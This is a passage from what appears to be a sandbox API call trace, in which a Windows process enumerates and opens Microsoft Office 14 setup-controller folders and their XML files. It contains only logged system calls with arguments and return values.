cAlternateFileName="")) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.113] GetLastError () returned 0x12 [0049.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0049.113] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0049.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0049.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0049.113] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0049.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0049.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0049.142] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0049.142] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0049.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0049.142] NtClose (Handle=0x168) returned 0x0 [0049.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0049.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0049.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0049.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e59d8 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7868 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e59f8 [0049.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7970 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.143] GetLastError () returned 0x12 [0049.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0049.143] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.143] GetLastError () returned 0x12 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0049.143] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0049.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0049.143] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0049.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0049.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0050.156] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0050.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0050.165] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0050.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0050.175] NtClose (Handle=0x164) returned 0x0 [0050.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0050.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0050.192] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0050.202] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.224] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0050.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0050.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0050.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5a18 [0050.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7a78 [0050.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.269] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5a38 [0050.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7b80 [0050.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.299] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.811] GetLastError () returned 0x12 [0050.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0050.811] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0050.811] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.811] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0050.811] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.811] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.811] GetLastError () returned 0x12 [0050.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0050.812] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0050.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0050.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.812] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0050.812] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0050.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0050.812] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0050.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0050.812] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0050.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0050.812] NtClose (Handle=0x168) returned 0x0 [0050.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0050.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0050.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0050.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: 